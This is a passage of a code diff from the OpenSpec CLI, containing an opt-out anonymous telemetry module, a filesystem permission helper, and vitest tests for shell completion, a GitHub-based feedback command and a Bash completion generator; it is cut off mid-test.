||||
// Respect DO_NOT_TRACK standard
|
||||
if (process.env.DO_NOT_TRACK === '1') {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Auto-disable in CI environments
|
||||
if (process.env.CI === 'true') {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get or create the anonymous user ID.
|
||||
* Lazily generates a UUID on first call and persists it.
|
||||
*/
|
||||
export async function getOrCreateAnonymousId(): Promise<string> {
|
||||
// Return cached value if available
|
||||
if (anonymousId) {
|
||||
return anonymousId;
|
||||
}
|
||||
|
||||
// Try to load from config
|
||||
const config = await getTelemetryConfig();
|
||||
if (config.anonymousId) {
|
||||
anonymousId = config.anonymousId;
|
||||
return anonymousId;
|
||||
}
|
||||
|
||||
// Generate new UUID and persist
|
||||
anonymousId = randomUUID();
|
||||
await updateTelemetryConfig({ anonymousId });
|
||||
return anonymousId;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the PostHog client instance.
|
||||
* Creates it on first call with CLI-optimized settings.
|
||||
*/
|
||||
function getClient(): PostHog {
|
||||
if (!posthogClient) {
|
||||
posthogClient = new PostHog(POSTHOG_API_KEY, {
|
||||
host: POSTHOG_HOST,
|
||||
flushAt: 1, // Send immediately, don't batch
|
||||
flushInterval: 0, // No timer-based flushing
|
||||
});
|
||||
}
|
||||
return posthogClient;
|
||||
}
|
||||
|
||||
/**
|
||||
* Track a command execution.
|
||||
*
|
||||
* @param commandName - The command name (e.g., 'init', 'change:apply')
|
||||
* @param version - The OpenSpec version
|
||||
*/
|
||||
export async function trackCommand(commandName: string, version: string): Promise<void> {
|
||||
if (!isTelemetryEnabled()) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const userId = await getOrCreateAnonymousId();
|
||||
const client = getClient();
|
||||
|
||||
client.capture({
|
||||
distinctId: userId,
|
||||
event: 'command_executed',
|
||||
properties: {
|
||||
command: commandName,
|
||||
version: version,
|
||||
surface: 'cli',
|
||||
$ip: null, // Explicitly disable IP tracking
|
||||
},
|
||||
});
|
||||
} catch {
|
||||
// Silent failure - telemetry should never break CLI
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Show first-run telemetry notice if not already seen.
|
||||
*/
|
||||
export async function maybeShowTelemetryNotice(): Promise<void> {
|
||||
if (!isTelemetryEnabled()) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const config = await getTelemetryConfig();
|
||||
if (config.noticeSeen) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Display notice
|
||||
console.log(
|
||||
'Note: OpenSpec collects anonymous usage stats. Opt out: OPENSPEC_TELEMETRY=0'
|
||||
);
|
||||
|
||||
// Mark as seen
|
||||
await updateTelemetryConfig({ noticeSeen: true });
|
||||
} catch {
|
||||
// Silent failure - telemetry should never break CLI
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Shutdown the PostHog client and flush pending events.
|
||||
* Call this before CLI exit.
|
||||
*/
|
||||
export async function shutdown(): Promise<void> {
|
||||
if (!posthogClient) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
await posthogClient.shutdown();
|
||||
} catch {
|
||||
// Silent failure - telemetry should never break CLI exit
|
||||
} finally {
|
||||
posthogClient = null;
|
||||
}
|
||||
}
|
||||
@@ -93,6 +93,41 @@ export class FileSystemUtils {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Finds the first existing parent directory by walking up the directory tree.
|
||||
* @param dirPath Starting directory path
|
||||
* @returns The first existing directory path, or null if root is reached without finding one
|
||||
*/
|
||||
private static async findFirstExistingDirectory(dirPath: string): Promise<string | null> {
|
||||
let currentDir = dirPath;
|
||||
|
||||
while (true) {
|
||||
try {
|
||||
const stats = await fs.stat(currentDir);
|
||||
if (stats.isDirectory()) {
|
||||
return currentDir;
|
||||
}
|
||||
// Path component exists but is not a directory (edge case)
|
||||
console.debug(`Path component ${currentDir} exists but is not a directory`);
|
||||
return null;
|
||||
} catch (error: any) {
|
||||
if (error.code === 'ENOENT') {
|
||||
// Directory doesn't exist, move up one level
|
||||
const parentDir = path.dirname(currentDir);
|
||||
if (parentDir === currentDir) {
|
||||
// Reached filesystem root without finding existing directory
|
||||
return null;
|
||||
}
|
||||
currentDir = parentDir;
|
||||
} else {
|
||||
// Unexpected error (permissions, I/O error, etc.)
|
||||
console.debug(`Error checking directory ${currentDir}: ${error.message}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static async canWriteFile(filePath: string): Promise<boolean> {
|
||||
try {
|
||||
const stats = await fs.stat(filePath);
|
||||
@@ -111,10 +146,18 @@ export class FileSystemUtils {
|
||||
}
|
||||
} catch (error: any) {
|
||||
if (error.code === 'ENOENT') {
|
||||
// File doesn't exist; check if we can write to the parent directory
|
||||
// File doesn't exist - find first existing parent directory and check its permissions
|
||||
const parentDir = path.dirname(filePath);
|
||||
const existingDir = await this.findFirstExistingDirectory(parentDir);
|
||||
|
||||
if (existingDir === null) {
|
||||
// No existing parent directory found (edge case)
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if the existing parent directory is writable
|
||||
try {
|
||||
await fs.access(parentDir, fsConstants.W_OK);
|
||||
await fs.access(existingDir, fsConstants.W_OK);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
|
||||
@@ -78,10 +78,10 @@ describe('CompletionCommand', () => {
|
||||
});
|
||||
|
||||
it('should show error for unsupported shell', async () => {
|
||||
await command.generate({ shell: 'bash' });
|
||||
await command.generate({ shell: 'tcsh' });
|
||||
|
||||
expect(consoleErrorSpy).toHaveBeenCalledWith(
|
||||
"Error: Shell 'bash' is not supported yet. Currently supported: zsh"
|
||||
"Error: Shell 'tcsh' is not supported yet. Currently supported: zsh, bash, fish, powershell"
|
||||
);
|
||||
expect(process.exitCode).toBe(1);
|
||||
});
|
||||
@@ -135,10 +135,10 @@ describe('CompletionCommand', () => {
|
||||
});
|
||||
|
||||
it('should show error for unsupported shell', async () => {
|
||||
await command.install({ shell: 'fish' });
|
||||
await command.install({ shell: 'tcsh' });
|
||||
|
||||
expect(consoleErrorSpy).toHaveBeenCalledWith(
|
||||
"Error: Shell 'fish' is not supported yet. Currently supported: zsh"
|
||||
"Error: Shell 'tcsh' is not supported yet. Currently supported: zsh, bash, fish, powershell"
|
||||
);
|
||||
expect(process.exitCode).toBe(1);
|
||||
});
|
||||
@@ -184,10 +184,10 @@ describe('CompletionCommand', () => {
|
||||
});
|
||||
|
||||
it('should show error for unsupported shell', async () => {
|
||||
await command.uninstall({ shell: 'powershell', yes: true });
|
||||
await command.uninstall({ shell: 'tcsh', yes: true });
|
||||
|
||||
expect(consoleErrorSpy).toHaveBeenCalledWith(
|
||||
"Error: Shell 'powershell' is not supported yet. Currently supported: zsh"
|
||||
"Error: Shell 'tcsh' is not supported yet. Currently supported: zsh, bash, fish, powershell"
|
||||
);
|
||||
expect(process.exitCode).toBe(1);
|
||||
});
|
||||
@@ -246,12 +246,12 @@ describe('CompletionCommand', () => {
|
||||
|
||||
describe('shell detection integration', () => {
|
||||
it('should show appropriate error when detected shell is unsupported', async () => {
|
||||
vi.mocked(shellDetection.detectShell).mockReturnValue({ shell: undefined, detected: 'bash' });
|
||||
vi.mocked(shellDetection.detectShell).mockReturnValue({ shell: undefined, detected: 'tcsh' });
|
||||
|
||||
await command.generate({});
|
||||
|
||||
expect(consoleErrorSpy).toHaveBeenCalledWith(
|
||||
"Error: Shell 'bash' is not supported yet. Currently supported: zsh"
|
||||
"Error: Shell 'tcsh' is not supported yet. Currently supported: zsh, bash, fish, powershell"
|
||||
);
|
||||
expect(process.exitCode).toBe(1);
|
||||
});
|
||||
|
||||
@@ -0,0 +1,429 @@
|
||||
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
|
||||
import { FeedbackCommand } from '../../src/commands/feedback.js';
|
||||
import { execSync, execFileSync } from 'child_process';
|
||||
|
||||
// Mock child_process functions
|
||||
vi.mock('child_process', () => ({
|
||||
execSync: vi.fn(),
|
||||
execFileSync: vi.fn(),
|
||||
}));
|
||||
|
||||
describe('FeedbackCommand', () => {
|
||||
let feedbackCommand: FeedbackCommand;
|
||||
let consoleLogSpy: any;
|
||||
let consoleErrorSpy: any;
|
||||
let processExitSpy: any;
|
||||
const mockExecSync = execSync as unknown as ReturnType<typeof vi.fn>;
|
||||
const mockExecFileSync = execFileSync as unknown as ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
feedbackCommand = new FeedbackCommand();
|
||||
consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {});
|
||||
consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
|
||||
processExitSpy = vi.spyOn(process, 'exit').mockImplementation((code?: string | number | null) => {
|
||||
throw new Error(`process.exit(${code})`);
|
||||
});
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('gh CLI availability check', () => {
|
||||
it('should use which command on Unix/macOS platforms', async () => {
|
||||
// Mock platform as darwin
|
||||
const originalPlatform = process.platform;
|
||||
Object.defineProperty(process, 'platform', { value: 'darwin' });
|
||||
|
||||
mockExecSync.mockImplementation((cmd: string) => {
|
||||
if (cmd === 'which gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
mockExecFileSync.mockReturnValue('https://github.com/Fission-AI/OpenSpec/issues/123\n');
|
||||
|
||||
await feedbackCommand.execute('Test');
|
||||
|
||||
// Verify 'which gh' was called
|
||||
expect(mockExecSync).toHaveBeenCalledWith('which gh', expect.any(Object));
|
||||
|
||||
// Restore original platform
|
||||
Object.defineProperty(process, 'platform', { value: originalPlatform });
|
||||
});
|
||||
|
||||
it('should use where command on Windows platform', async () => {
|
||||
// Mock platform as win32
|
||||
const originalPlatform = process.platform;
|
||||
Object.defineProperty(process, 'platform', { value: 'win32' });
|
||||
|
||||
mockExecSync.mockImplementation((cmd: string) => {
|
||||
if (cmd === 'where gh') {
|
||||
return Buffer.from('C:\\Program Files\\GitHub CLI\\gh.exe');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
mockExecFileSync.mockReturnValue('https://github.com/Fission-AI/OpenSpec/issues/123\n');
|
||||
|
||||
await feedbackCommand.execute('Test');
|
||||
|
||||
// Verify 'where gh' was called
|
||||
expect(mockExecSync).toHaveBeenCalledWith('where gh', expect.any(Object));
|
||||
|
||||
// Restore original platform
|
||||
Object.defineProperty(process, 'platform', { value: originalPlatform });
|
||||
});
|
||||
|
||||
it('should handle missing gh CLI with fallback', async () => {
|
||||
// Simulate gh not installed
|
||||
mockExecSync.mockImplementation((cmd: string) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
throw new Error('Command not found');
|
||||
}
|
||||
});
|
||||
|
||||
try {
|
||||
await feedbackCommand.execute('Test feedback');
|
||||
} catch (error: any) {
|
||||
// Should exit with code 0 (successful fallback)
|
||||
expect(error.message).toBe('process.exit(0)');
|
||||
}
|
||||
|
||||
// Should display warning
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('GitHub CLI not found')
|
||||
);
|
||||
|
||||
// Should show formatted feedback
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('--- FORMATTED FEEDBACK ---')
|
||||
);
|
||||
|
||||
// Should show manual submission URL
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('https://github.com/Fission-AI/OpenSpec/issues/new')
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle unauthenticated gh CLI with fallback', async () => {
|
||||
// Simulate gh installed but not authenticated
|
||||
mockExecSync.mockImplementation((cmd: string) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
throw new Error('Not authenticated');
|
||||
}
|
||||
});
|
||||
|
||||
try {
|
||||
await feedbackCommand.execute('Test feedback');
|
||||
} catch (error: any) {
|
||||
// Should exit with code 0 (successful fallback)
|
||||
expect(error.message).toBe('process.exit(0)');
|
||||
}
|
||||
|
||||
// Should display warning
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('GitHub authentication required')
|
||||
);
|
||||
|
||||
// Should show auth instructions
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('To auto-submit in the future: gh auth login')
|
||||
);
|
||||
|
||||
// Should show formatted feedback
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('--- FORMATTED FEEDBACK ---')
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('successful feedback submission', () => {
|
||||
it('should submit feedback via gh CLI when authenticated', async () => {
|
||||
const issueUrl = 'https://github.com/Fission-AI/OpenSpec/issues/123';
|
||||
|
||||
// Simulate gh installed and authenticated
|
||||
mockExecSync.mockImplementation((cmd: string, options?: any) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
mockExecFileSync.mockReturnValue(`${issueUrl}\n`);
|
||||
|
||||
await feedbackCommand.execute('Great tool!');
|
||||
|
||||
// Should call gh with correct arguments using execFileSync
|
||||
expect(mockExecFileSync).toHaveBeenCalledWith(
|
||||
'gh',
|
||||
[
|
||||
'issue',
|
||||
'create',
|
||||
'--repo',
|
||||
'Fission-AI/OpenSpec',
|
||||
'--title',
|
||||
'Feedback: Great tool!',
|
||||
'--body',
|
||||
expect.stringContaining('Submitted via OpenSpec CLI'),
|
||||
'--label',
|
||||
'feedback',
|
||||
],
|
||||
expect.objectContaining({
|
||||
encoding: 'utf-8',
|
||||
stdio: 'pipe',
|
||||
})
|
||||
);
|
||||
|
||||
// Should display success message
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('Feedback submitted successfully')
|
||||
);
|
||||
|
||||
// Should display issue URL
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining(issueUrl)
|
||||
);
|
||||
});
|
||||
|
||||
it('should include --body flag when body is provided', async () => {
|
||||
const issueUrl = 'https://github.com/Fission-AI/OpenSpec/issues/124';
|
||||
|
||||
mockExecSync.mockImplementation((cmd: string, options?: any) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
mockExecFileSync.mockReturnValue(`${issueUrl}\n`);
|
||||
|
||||
await feedbackCommand.execute('Title here', { body: 'Detailed description' });
|
||||
|
||||
// Verify body is included in the arguments
|
||||
expect(mockExecFileSync).toHaveBeenCalledWith(
|
||||
'gh',
|
||||
expect.arrayContaining([
|
||||
'--body',
|
||||
expect.stringContaining('Detailed description'),
|
||||
]),
|
||||
expect.any(Object)
|
||||
);
|
||||
});
|
||||
|
||||
it('should format title with "Feedback:" prefix', async () => {
|
||||
mockExecSync.mockImplementation((cmd: string, options?: any) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
mockExecFileSync.mockReturnValue('https://github.com/Fission-AI/OpenSpec/issues/125\n');
|
||||
|
||||
await feedbackCommand.execute('Test message');
|
||||
|
||||
// Verify title has "Feedback:" prefix
|
||||
expect(mockExecFileSync).toHaveBeenCalledWith(
|
||||
'gh',
|
||||
expect.arrayContaining([
|
||||
'--title',
|
||||
'Feedback: Test message',
|
||||
]),
|
||||
expect.any(Object)
|
||||
);
|
||||
});
|
||||
|
||||
it('should include metadata in issue body', async () => {
|
||||
mockExecSync.mockImplementation((cmd: string, options?: any) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
mockExecFileSync.mockReturnValue('https://github.com/Fission-AI/OpenSpec/issues/126\n');
|
||||
|
||||
await feedbackCommand.execute('Test', { body: 'Body text' });
|
||||
|
||||
// Verify metadata is included in body
|
||||
expect(mockExecFileSync).toHaveBeenCalledWith(
|
||||
'gh',
|
||||
expect.arrayContaining([
|
||||
'--body',
|
||||
expect.stringMatching(/Submitted via OpenSpec CLI[\s\S]*Version:[\s\S]*Platform:[\s\S]*Timestamp:/),
|
||||
]),
|
||||
expect.any(Object)
|
||||
);
|
||||
});
|
||||
|
||||
it('should add feedback label to the issue', async () => {
|
||||
mockExecSync.mockImplementation((cmd: string, options?: any) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
mockExecFileSync.mockReturnValue('https://github.com/Fission-AI/OpenSpec/issues/127\n');
|
||||
|
||||
await feedbackCommand.execute('Test');
|
||||
|
||||
// Verify feedback label is added
|
||||
expect(mockExecFileSync).toHaveBeenCalledWith(
|
||||
'gh',
|
||||
expect.arrayContaining([
|
||||
'--label',
|
||||
'feedback',
|
||||
]),
|
||||
expect.any(Object)
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('error handling', () => {
|
||||
it('should handle gh CLI execution failure', async () => {
|
||||
mockExecSync.mockImplementation((cmd: string, options?: any) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
// Mock execFileSync to throw error
|
||||
mockExecFileSync.mockImplementation(() => {
|
||||
const error: any = new Error('Network error');
|
||||
error.status = 1;
|
||||
error.stderr = Buffer.from('Error: Network connectivity issue');
|
||||
throw error;
|
||||
});
|
||||
|
||||
try {
|
||||
await feedbackCommand.execute('Test');
|
||||
} catch (error: any) {
|
||||
// Should exit with the same code as gh CLI
|
||||
expect(error.message).toBe('process.exit(1)');
|
||||
}
|
||||
|
||||
// Should display the error from gh CLI
|
||||
expect(consoleErrorSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('Network connectivity issue')
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle quotes in title and body without escaping (no shell injection)', async () => {
|
||||
mockExecSync.mockImplementation((cmd: string, options?: any) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
return Buffer.from('/usr/local/bin/gh');
|
||||
}
|
||||
if (cmd === 'gh auth status') {
|
||||
return Buffer.from('Logged in');
|
||||
}
|
||||
return '';
|
||||
});
|
||||
|
||||
mockExecFileSync.mockReturnValue('https://github.com/Fission-AI/OpenSpec/issues/128\n');
|
||||
|
||||
await feedbackCommand.execute('Test with "quotes"', {
|
||||
body: 'Body with "quotes"',
|
||||
});
|
||||
|
||||
// Verify quotes are passed as-is (no escaping needed with execFileSync)
|
||||
expect(mockExecFileSync).toHaveBeenCalledWith(
|
||||
'gh',
|
||||
expect.arrayContaining([
|
||||
'--title',
|
||||
'Feedback: Test with "quotes"',
|
||||
'--body',
|
||||
expect.stringContaining('Body with "quotes"'),
|
||||
]),
|
||||
expect.any(Object)
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('formatted feedback output', () => {
|
||||
it('should display formatted feedback with proper structure', async () => {
|
||||
mockExecSync.mockImplementation((cmd: string) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
throw new Error('Command not found');
|
||||
}
|
||||
});
|
||||
|
||||
try {
|
||||
await feedbackCommand.execute('Test message', { body: 'Test body' });
|
||||
} catch (error: any) {
|
||||
// Expected to exit
|
||||
}
|
||||
|
||||
// Verify formatted output structure
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('--- FORMATTED FEEDBACK ---')
|
||||
);
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('Title: Feedback: Test message')
|
||||
);
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('Labels: feedback')
|
||||
);
|
||||
expect(consoleLogSpy).toHaveBeenCalledWith(
|
||||
expect.stringContaining('--- END FEEDBACK ---')
|
||||
);
|
||||
});
|
||||
|
||||
it('should generate correct manual submission URL', async () => {
|
||||
mockExecSync.mockImplementation((cmd: string) => {
|
||||
if (cmd === 'which gh' || cmd === 'where gh') {
|
||||
throw new Error('Command not found');
|
||||
}
|
||||
});
|
||||
|
||||
try {
|
||||
await feedbackCommand.execute('Test');
|
||||
} catch (error: any) {
|
||||
// Expected to exit
|
||||
}
|
||||
|
||||
// Verify URL is shown
|
||||
const urlCall = consoleLogSpy.mock.calls.find((call: any[]) =>
|
||||
call[0]?.includes('https://github.com/Fission-AI/OpenSpec/issues/new')
|
||||
);
|
||||
expect(urlCall).toBeDefined();
|
||||
|
||||
// Verify URL has proper parameters
|
||||
const url = urlCall?.[0];
|
||||
expect(url).toContain('title=');
|
||||
expect(url).toContain('body=');
|
||||
expect(url).toContain('labels=feedback');
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,569 @@
|
||||
import { describe, it, expect, beforeEach } from 'vitest';
|
||||
import { BashGenerator } from '../../../../src/core/completions/generators/bash-generator.js';
|
||||
import { CommandDefinition } from '../../../../src/core/completions/types.js';
|
||||
|
||||
describe('BashGenerator', () => {
|
||||
let generator: BashGenerator;
|
||||
|
||||
beforeEach(() => {
|
||||
generator = new BashGenerator();
|
||||
});
|
||||
|
||||
describe('interface compliance', () => {
|
||||
it('should have shell property set to "bash"', () => {
|
||||
expect(generator.shell).toBe('bash');
|
||||
});
|
||||
|
||||
it('should implement generate method', () => {
|
||||
expect(typeof generator.generate).toBe('function');
|
||||
});
|
||||
});
|
||||
|
||||
describe('generate', () => {
|
||||
it('should generate valid bash completion script with header', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('# Bash completion script for OpenSpec CLI');
|
||||
expect(script).toContain('_openspec_completion() {');
|
||||
expect(script).toContain('local cur prev words cword');
|
||||
expect(script).toContain('_init_completion -n : || return');
|
||||
});
|
||||
|
||||
it('should include all commands in the command list', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a spec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('init');
|
||||
expect(script).toContain('validate');
|
||||
expect(script).toContain('show');
|
||||
});
|
||||
|
||||
it('should handle commands with flags without short options', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
{
|
||||
name: 'json',
|
||||
description: 'Output as JSON',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('--strict');
|
||||
expect(script).toContain('--json');
|
||||
});
|
||||
|
||||
it('should handle flags with short options', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a spec',
|
||||
flags: [
|
||||
{
|
||||
name: 'requirement',
|
||||
short: 'r',
|
||||
description: 'Show specific requirement',
|
||||
takesValue: true,
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('-r');
|
||||
expect(script).toContain('--requirement');
|
||||
});
|
||||
|
||||
it('should handle boolean flags vs value-taking flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
{
|
||||
name: 'output',
|
||||
description: 'Output file',
|
||||
takesValue: true,
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('--strict');
|
||||
expect(script).toContain('--output');
|
||||
});
|
||||
|
||||
it('should handle flags with enum values', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'type',
|
||||
description: 'Specify item type',
|
||||
takesValue: true,
|
||||
values: ['change', 'spec'],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('--type');
|
||||
expect(script).toContain('change');
|
||||
expect(script).toContain('spec');
|
||||
});
|
||||
|
||||
it('should handle flags with takesValue but no specific values', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'concurrency',
|
||||
description: 'Max concurrent validations',
|
||||
takesValue: true,
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('--concurrency');
|
||||
});
|
||||
|
||||
it('should handle commands with subcommands', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'change',
|
||||
description: 'Manage changes',
|
||||
flags: [],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a change',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'list',
|
||||
description: 'List changes',
|
||||
flags: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('change)');
|
||||
expect(script).toContain('show');
|
||||
expect(script).toContain('list');
|
||||
});
|
||||
|
||||
it('should offer parent flags when command has both flags and subcommands', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'config',
|
||||
description: 'Manage configuration',
|
||||
flags: [
|
||||
{
|
||||
name: 'scope',
|
||||
short: 's',
|
||||
description: 'Configuration scope',
|
||||
},
|
||||
{
|
||||
name: 'json',
|
||||
description: 'Output as JSON',
|
||||
},
|
||||
],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'set',
|
||||
description: 'Set a config value',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'get',
|
||||
description: 'Get a config value',
|
||||
flags: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should check for flag prefix before offering subcommands
|
||||
expect(script).toContain('if [[ "$cur" == -* ]]; then');
|
||||
// Should include parent command flags
|
||||
expect(script).toContain('-s');
|
||||
expect(script).toContain('--scope');
|
||||
expect(script).toContain('--json');
|
||||
// Should also include subcommands
|
||||
expect(script).toContain('set');
|
||||
expect(script).toContain('get');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for change-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'archive',
|
||||
description: 'Archive a change',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('_openspec_complete_changes');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for spec-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show-spec',
|
||||
description: 'Show a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('_openspec_complete_specs');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for change-or-spec-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show an item',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-or-spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('_openspec_complete_items');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for shell', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'generate',
|
||||
description: 'Generate completions',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'shell',
|
